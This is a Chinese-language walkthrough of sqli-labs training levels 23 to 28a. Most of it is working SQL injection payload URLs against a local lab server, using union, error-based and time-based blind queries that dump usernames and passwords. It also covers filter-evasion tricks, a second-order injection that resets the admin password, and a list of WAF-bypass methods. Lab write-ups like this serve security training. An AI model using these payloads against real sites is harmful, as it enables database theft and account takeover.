Less-23
当我们输入?id=1时,登陆成功
当输入?id=1' 和?id=1'--+ 均显示错误
通过查看源码发现注释符都被替换为了空格,在这里可以使用另外一种特殊的注释符 ;%00 (均为英文)
方法一:联合查询
剩下的步骤除了最后的注释符不一样其他的和Less-1的联合查询的方法是一样的
查列 http://192.168.10.246/sqli-labs-master/Less-23/?id=1'order by 3;%00
查回显位置 http://192.168.10.246/sqli-labs-master/Less-23/?id=-1'union select 1,2,3;%00
查库 http://192.168.10.246/sqli-labs-master/Less-23//?id=-1'union select 1,2, group_concat(schema_name) from information_schema.schemata ;%00
查表名 http://192.168.10.246/sqli-labs-master/Less-23//?id=-1'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';%00
查字段 http://192.168.10.246/sqli-labs-master/Less-23//?id=-1'union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users';%00
查信息 http://192.168.10.246/sqli-labs-master/Less-23//?id=-1'union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users ;%00
方法二、报错注入
http://192.168.10.246/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1
http://192.168.10.246/sqli-labs-master/Less-23/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1) or '1'='1 通过改变limit 后面的数值逐个查询
Less-24
补充知识:二次注入
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
在Windows系统下,24关解压的时候注意重命名,还要做如下替换,然后刷新数据库
首先我们查询目前的users表信息,找到admin的密码,密码为admin,然后返回
我们用admin’# 注册一个恶意账号,再登录 密码为123456
我们用改的用户名admin'# 密码 123456 登陆
接着改密码为147258
返回登陆页面使用 用户名admin 密码 147258 登陆
这样我们通过越权的方法,将admin的密码修改,此时从数据库中修改是查找的'admin'#',并不会进行转义,所以最后修改的是admin的密码
#是注释符,注释掉后面的,前面有一个单引号,是存在注入漏洞
补充知识
SQL注入的WAF绕过
在23关中也有所体会,使用 ;%00 做为注释符,替换掉了#和--+
WAF绕过大致分三类:白盒绕过、黑盒绕过、fuzz测试
1、白盒绕过
通过源代码分析来进行绕过
2、黑盒绕过
(1)架构层面绕过waf
1.寻找源网站绕过waf检测
主要针对的是云waf,找到源网站的真实地址,进行绕过,有点像CDN
2.通过同网段绕过waf防护
在一个网段中,可能经过的数据不会经过云waf,从而实现绕过。
(2)资源限制角度绕过waf
一般waf的执行 需要优先考虑业务优先的原则,所以对于构造较大、超大数据包可能不会进行检测,从而实现绕过waf
(3)协议层面绕过waf
1.协议未覆盖绕过waf
比如由于业务需要,只对get型进行检测,post数据选择忽略
2.参数污染
?id=1&id=2 waf可能只对id=1进行检测,id=2可以进行sql注入
(4)规则层面的绕过waf
sql注释符绕过、空白符绕过、函数分割符号、浮点数词法解释、利用error-based进行sql注入、mysql特殊语法、大小写绕过、关键字重复、关键字替换
3、fuzz绕过
可以使用burpsuite配合手工进行测试,后期测试成功后可以用脚本进行处理
Less-25
?id=1 正常登录
?id=1' 有报错
?id=1'--+ 闭合,恢复正常
?id=1'order by 2 --+ 使用order by 语句发现报错,无法使用,看下图发现 or被过滤了
由下图源码可知,or and被替换了
可以使用双写,回显正常
http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'union select 1,2,3--+ 将id换成其他的值,获得回显
注:在所有or的位置都要双写,接下来其他的语句就是之前用到的联合查询
查库 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata--+
查表 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema='security'--+
查字段 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name='users'--+
查信息 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd))from security.users--+
第二种方法将or换成||
判断是否存在注入 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| '1'='1
使用报错注入
查当前库 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(database())),1) || '1'='1
查库 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)),1) || '1'='1 通过修改limit后面的值查询不同的数据库
查表 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select table_name from infoorrmation_schema.tables where table_schema='security' limit 0,1)),1) || '1'='1
查字段 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select column_name from infoorrmation_schema.columns where table_name='users' limit 0,1)),1) || '1'='1
查信息 http://192.168.10.246/sqli-labs-master/Less-25/?id=-1'|| updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) || '1'='1
Less-25a
?id=1 页面回显正常
?id=1' 此时页面发生显著变化,数据消失,说明存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹
/?id=-1 union select 1,2,3--+
下面我们可以使用联合查询,有or的地方还要继续双写
查库 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata--+
查表 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema='security'--+
查字段 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name='users'--+
查信息 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd))from security.users--+
也可以使用基于时间的布尔盲注(依然要注意双写)
判断数据库的长度 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 oorr if(length(database())>1,1,sleep(5))--+
判断数据库的组成 http://192.168.10.246/sqli-labs-master/Less-25a/?id=-1 oorr if(left(database(),1)>'a',1,sleep(5))--+
我们将database()换为查库查表查字段查信息的查询语句,依次查询即可,可以参照13-16关中的语句
还可以使用布尔盲注(注意双写),burpsuite暴力破解
Less-26
?id=1 正常
?id=1’ --+显示错误 且没有--+
?id=1’ ;%00 正常
?id=1' or '1'='1 发现提示信息中没有or,所以这里需要将or双写oorr,也可以将or换为||
打开源码,发现许多符号被替换
接下来我们使用报错注入的方法(注意双写)不考虑空格
查看当前数据库:http://127.0.0.1/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(database())),1)||'1'='1
查表 http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1) || '1'='1
查字段 http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name ='users'))),1) || '1'='1 取出字段的值不完整,所以报错注入在这不是最好的方法
查信息 http://127.0.0.1/sqli-labs-master/Less-26/?id=1'||updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(security.users) where (id=2))),1) || '1'='1 通过改变id来遍历所有的数据
接下来我们使用联合查询的方法,要考虑空格,这时空格要用%a0来代替,注释符用;%00
http://127.0.0.1/sqli-labs-master/Less-26/?id=1'union %a0 select %a0 1,2,%a0 schema_name %a0from %a0infoorrmation_schema.schemata ;%00
剩下的步骤和上一关联合查询一样,(联合查询的语句在前面很多关中都有,可以参照23关,25a中的语句,但要注意空格,注释符的替换,双写等)
补充字符编码替换
or可以用||替换
and可以用&& %26%26
注释符用;%00替代
空格用%a0替代
Less-26a
?id=1 正常
?id=1’ 错误
查看源码
继续像26关那样报错注入,发现出现问题,没有显示报错信息
通过源码可知,报错信息不会显示
所以我们这里使用联合查询(联合查询的语句在前面很多关中都有,可以参照23关,25a中的语句,但要注意空格,注释符的替换,双写等)
在这一关刚开始?id=1时可以看到SQL语句中1为(’1‘)包裹
http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')union %a0 select %a0 1,2,%a0 schema_name %a0from %a0infoorrmation_schema.schemata ;%00
Less-27
?id=1 正常
?id=1' 错误
?id=1';%00 正确
查看源码,发现select union也不能用了
方法一、select union大写小写混合使用,同时注意空格和注释符
http://127.0.0.1/sqli-labs-master/Less-27/?id=-1' %a0 unIon %a0 sElect %a0 1,2,3 ;%00
http://127.0.0.1/sqli-labs-master/Less-27/?id=111' %a0 unIon %a0 sElect %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00
接下来的语句请参照第25a中的联合查询语句,需要注意的地方在这一关前面已经强调了
方法二、使用报错注入
通过查询源码可知,可以显示报错信息
查看当前数据库 http://127.0.0.1/sqli-labs-master/Less-27/?id=111' %a0 || %a0 updatexml(1,(concat(0x7e,(database()))),1) %a0 || %a0 '1'='1
查库 http://127.0.0.1/sqli-labs-master/Less-27/?id=111' || %a0 updatexml(1,concat(0x7e,(sElect %a0 schema_name %a0 from %a0 information_schema.schemata %a0 limit %a0 0,1)),1) %a0 || %a0 '1'='1 通过改变limit后面的值,可以查到所有的库
查表 http://127.0.0.1/sqli-labs-master/Less-27/?id=111' || %a0 updatexml(1,concat(0x7e,(sElect %a0 table_name %a0 from %a0 information_schema.tables %a0 where %a0 table_schema='security' %a0 limit %a0 0,1)),1) %a0 || %a0 '1'='1
查字段 http://127.0.0.1/sqli-labs-master/Less-27/?id=111' || %a0 updatexml(1,concat(0x7e,(sElect %a0 column_name %a0 from %a0 information_schema.columns %a0 where %a0 table_name='users' %a0 limit %a0 0,1)),1) %a0 || %a0 '1'='1
查信息 http://127.0.0.1/sqli-labs-master/Less-27/?id=111' || %a0 updatexml(1,concat(0x7e,(sElect %a0 concat_ws(0x7e,username,password) %a0 from %a0 security.users %a0 limit %a0 0,1)),1) %a0 || %a0 '1'='1
Less-27a
这一关与上一关的包裹方式不同,其他均相同,使用双引号进行包裹,注入方法参考第27关
http://127.0.0.1/sqli-labs-master/Less-27a/?id=1" %a0 || %0a"1"="1
Less-28
?id=1 显示正确
?id=1‘ 出现错误,说明存在注入
?id=1') 说明构造语句成功
查看源码可知,无法使用UNION SELECT ,空格注释符也被过滤
查库 http://127.0.0.1/sqli-labs-master/Less-28/?id=111') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata %a0 ;%0
接下来的步骤可以参照第25a关中的语句
通过源码可知,我们不能使用报错注入,可以采用时间盲注
%26%26代表and ,注释符也可以使用 || ('1')=('1
查看当前数据库 http://127.0.0.1/sqli-labs-master/Less-28/?id=1') %a0 %26%26 if(length(database())>8,1,sleep(5));%00
语句核心可以参照第8关第14关的时间盲注
Less-28a
观察源代码可知,这一关只过滤了一处地方,空格 注释符都没有过滤
包裹方式和第28关一样,其他方法也和28关一样